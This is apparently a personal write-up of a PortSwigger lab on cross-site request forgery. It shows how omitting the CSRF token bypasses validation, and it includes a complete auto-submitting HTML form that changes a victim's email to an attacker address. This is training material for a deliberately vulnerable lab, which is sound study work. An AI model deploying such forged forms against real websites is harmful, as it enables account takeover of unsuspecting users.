CSRF where token validation depends on token being present | Dec 15, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: CSRF where token validation depends on token being present! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab’s email change functionality is vulnerable to CSRF.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Home page:
Login as user wiener:
In the previous labs, we found that the email change functionality is vulnerable to CSRF.
Let’s inspect the form!
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="NyEhcWXR4C1lk7nt89xf9bXUnIqycDQL">
<button class='button' type='submit'> Update email </button>
</form>
As you can see, there is a CSRF token!
Now, we can try to exploit CSRF via the exploit server:
To do so, I’ll try to craft a CSRF form including an invalid CSRF token that performs CSRF attack:
<html>
<head>
<title>CSRF-3</title>
</head>
<body>
<form action="https://0a7b000103e23b4fc097dbfe00370008.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf" value="LQDcyqInUXb9fx98tn7kl1C4RXWchEyN">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
We can test it locally via the View exploit button:
As expected, it outputs Invalid CSRF token.
To bypass the CSRF token, we try to not include the CSRF token:
<html>
<head>
<title>CSRF-3</title>
</head>
<body>
<form action="https://0a7b000103e23b4fc097dbfe00370008.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Then test it locally:
It works!!
Now, let’s change other users’ email!
We did it!
What we’ve learned:
- CSRF where token validation depends on token being present